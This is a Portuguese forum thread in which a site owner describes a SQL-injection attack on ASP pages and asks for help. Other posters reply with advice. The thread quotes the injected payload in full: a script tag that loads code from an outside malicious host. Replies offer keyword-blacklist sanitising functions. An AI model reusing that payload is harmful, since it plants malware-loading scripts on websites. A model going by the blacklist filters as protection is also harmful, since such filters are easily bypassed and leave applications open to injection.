Falha no codigo ASP

[Creedence 1]

Boa tarde !

Uma falha em codigo asp em algumas páginas me parece ter permitido que fossem inseridos dados em algumas tabelas.

Já estou verificando onde pode haver o erro pra restaurar meu backup com mais segurança.

Minha duvida é se alguem já foi vitima ou sabe o que pode ocorrer quando é inserido o codigo abaixo num campo nvarchar:

 

"></title><script src="http://lilupophilupop.com/sl.php"></script>

 

Obrigado,

 

Creedence

[Daniel1 1]

Boa tarde !

Uma falha em codigo asp em algumas páginas me parece ter permitido que fossem inseridos dados em algumas tabelas.

 

Uma falha em código asp mas qual foi a falha ? :natalsad:

Dados em algumas tabelas quais tabelas ? :natalsad:

 

Já estou verificando onde pode haver o erro pra restaurar meu backup com mais segurança.

Minha duvida é se alguém já foi vitima ou sabe o que pode ocorrer quando é inserido o codigo abaixo num campo nvarchar:

 

"></title><script src="http://lilupophilupop.com/sl.php"></script>'>http://lilupophilupop.com/sl.php"></script>

 

Obrigado,

 

Creedence

Não aconteceria nada pois nvarchar é um campo string só ficaria armazenado o código html no banco de dados, a não ser que o link http://lilupophilupop.com/sl.php tenha algum script malicioso, então se você pegar esses dados do banco de dados e der um Response.Write(recordset(nomedocampo)) pode haver algum problema, pois o código html scritp src executa páginas.

Até mais.

[xanburzum 169]

verifique se não esta sndo alvo de SQLInjection

[luiscarlos5046 3]

Usa essa Função que já minimiza esse problema de injeção.

variavel = LimpaLixo(Request.Form("xxxxxxxx"))

 

' Remove caracteres que podem ser usados para injeção SQL
Function LimpaLixo(input)
   dim lixo
   dim textoOK

   lixo = array ("select", "drop", ";", "--", "insert", "delete", "xp_")
   textoOK = input
   for i = 0 to uBound(lixo)
   	textoOK = replace(textoOK,lixo(i),"")
   next

LimpaLixo = textoOK

end Function

[Creedence 1]

Boa tarde !

Respondendo a todos:

 

Daniel1: A falha de código que me refiro é em alguma pagina que recebe parametro não fecharmos a possibilidade de injeção de sql. As tabelas, são tabelas do meu banco onde foram inseridos códigos maliciosos por conta dessa brecha. O script direcionava sim para sites indesejados ao acessar o nosso domínio.

 

Xanburzum: O problema é esse mesmo : Injeção de SQL

 

Luizcarlos5046: Eu utilizo uma função para filtras os parâmetros. Mas acho que vacilamos em alguma ou algumas paginas o que permitiu essa entrada de script.

 

Se pesquisar no google esse script, vai aparecer um monte de sites que provavelmente também foram vítimas.

 

Obrigado,

 

Creedence

[xanburzum 169]

sempre uso essa função para esse tipo de ataque

 

Function SafeSQL(sInput)
 TempString = sInput
 'sBadChars=array("select", "drop", ";", "--", "insert", "delete", "xp_", "#", "%", "&", "'", "(", ")", "/", "\", ":", ";", "<", ">", "=", "[", "]", "?", "`", "|") 
 sBadChars=array("select", "drop", ";", "--", "insert", "delete", "xp_", "#", "%", "&", "'", "(", ")", ":", ";", "<", ">", "=", "[", "]", "?", "`", "|") 
 For iCounter = 0 to uBound(sBadChars)
   TempString = replace(TempString,sBadChars(iCounter),"")
 Next
 SafeSQL = TempString
End function

[luiscarlos5046 3]

Outra coisa que costumo usar nas paginas que fazem a inserção de dados vindos de forms é o uso de sessões.

Eu faço uma verificação no topo pra ver se tem a sessão criada para o site permitir a execução... senão redireciono pra outro link.

 

Eu também não usava esses tipos de filtros pra evitar isso.

Após alguns ataques em sites de meus clientes, percebi que é necessário todo tipo de segurança.

 

Boa sorte !

[xanburzum 169]

dá uma olhada na seção de artigos ou no lab. de script que tem um tópico de como otimizar seu code, pode te ajudar também